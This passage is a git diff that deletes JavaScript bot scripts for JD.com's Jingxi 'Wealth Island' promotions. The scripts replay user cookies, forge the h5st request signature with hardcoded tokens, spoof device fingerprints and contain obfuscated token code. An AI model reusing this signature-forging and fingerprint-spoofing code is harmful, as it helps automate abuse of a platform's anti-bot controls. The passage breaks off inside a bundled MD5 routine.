`__t=${Date.now()}&dwIsPP=1&strZone=jxbfd&dwLvl=1&dwIsRandHb=0&ddwVirHb=${ddwVirHb}&strPoolName=${strPoolName}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposePearlState API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`京东账号${$.index} ${$.UserName} 兑换喜豆成功 金额:【`+ddwVirHb+'】\n'); - }else if (data.iRet === 2046){ - console.log("余额不足哦 \n") - await exchangePinPinPearlStateByMax(); - }else { - console.log("兑换失败 ",data,"\n") - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -// 获取兑换 -async function exchangePinPinPearlState() { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/ExchangePinPinPearlState`, `__t=${Date.now()}&dwIsPP=1&strZone=jxbfd&dwLvl=1&dwIsRandHb=0`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposePearlState API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`获取兑换参数成功`); - if (conditionAllList.length ===0){ - conditionAllList = data.exchangeInfo.prizeInfo - } - let filterData = data.exchangeInfo.prizeInfo.filter(e => e.dwState === 0); - for (var o in filterData) { - let prizeInfoElement = filterData[o]; - conditionList.push({ - "strPool": prizeInfoElement.strPool, - "ddwVirHb":prizeInfoElement.ddwVirHb - }) - } - }else { - $.exchange= false - console.log("获取兑换参数失败 ",data) - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_path, body = '', dwEnv = 7) { - let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; - url += `&_stk=${getStk(url)}`; - url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=0&dwIsPP=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; - return { - url, - headers: { - "Host": "m.jingxi.com", - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": UA, - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://st.jingxi.com/", - "Cookie": cookie - } - }; -} -function getStk(url) { - let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) - return encodeURIComponent(arr.filter(x => x).sort().join(',')) -} -function randomString(e) { - e = e || 32; - let t = "0123456789abcdef", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function TotalBean() { - return new Promise(resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - console.log(`获取签名参数成功!`) - console.log(`fp: ${$.fingerprint}`) - console.log(`token: ${$.token}`) - console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -function getJxToken() { - var _0x1e2686 = { - 'kElFH': 'abcdefghijklmnopqrstuvwxyz1234567890', - 'MNRFu': function(_0x433b6d, _0x308057) { - return _0x433b6d < _0x308057; - }, - 'gkPpb': function(_0x531855, _0xce2a99) { - return _0x531855(_0xce2a99); - }, - 'KPODZ': function(_0x3394ff, _0x3181f7) { - return _0x3394ff * _0x3181f7; - }, - 'TjSvK': function(_0x2bc1b7, _0x130f17) { - return _0x2bc1b7(_0x130f17); - } - }; - - function _0xe18f69(_0x5487a9) { - let _0x3f25a6 = _0x1e2686['kElFH']; - let _0x2b8bca = ''; - for (let _0x497a6a = 0x0; _0x1e2686['MNRFu'](_0x497a6a, _0x5487a9); _0x497a6a++) { - _0x2b8bca += _0x3f25a6[_0x1e2686['gkPpb'](parseInt, _0x1e2686['KPODZ'](Math['random'](), _0x3f25a6['length']))]; - } - return _0x2b8bca; - } - return new Promise(_0x1b19fc => { - let _0x901291 = _0x1e2686['TjSvK'](_0xe18f69, 0x28); - let _0x5b2fde = (+new Date())['toString'](); - if (!$.cookie['match'](/pt_pin=([^; ]+)(?=;?)/)) { - console['log']('此账号cookie填写不规范,你的pt_pin=xxx后面没分号(;)\n'); - _0x1e2686['TjSvK'](_0x1b19fc, null); - } - let _0x1bb53f = $.cookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1]; - let _0x367e43 = $['md5']('' + decodeURIComponent(_0x1bb53f) + _0x5b2fde + _0x901291 + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')['toString'](); - _0x1e2686['TjSvK'](_0x1b19fc, { - 'timestamp': _0x5b2fde, - 'phoneid': _0x901291, - 'farm_jstoken': _0x367e43 - }); - }); -} -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_cfd_loop.js b/backUp/jd_cfd_loop.js deleted file mode 100644 index ad24010..0000000 --- a/backUp/jd_cfd_loop.js +++ /dev/null @@ -1,434 +0,0 @@ -/* -京喜财富岛热气球 -cron 30 * * * * jd_cfd_loop.js -活动入口:京喜APP-我的-京喜财富岛 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京喜财富岛热气球 -30 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, tag=京喜财富岛热气球, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true -================Loon============== -[Script] -cron "30 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js,tag=京喜财富岛热气球 -===============Surge================= -京喜财富岛热气球 = type=cron,cronexp="30 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js -============小火箭========= -京喜财富岛热气球 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, cronexpr="30 * * * *", timeout=3600, enable=true - */ -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, 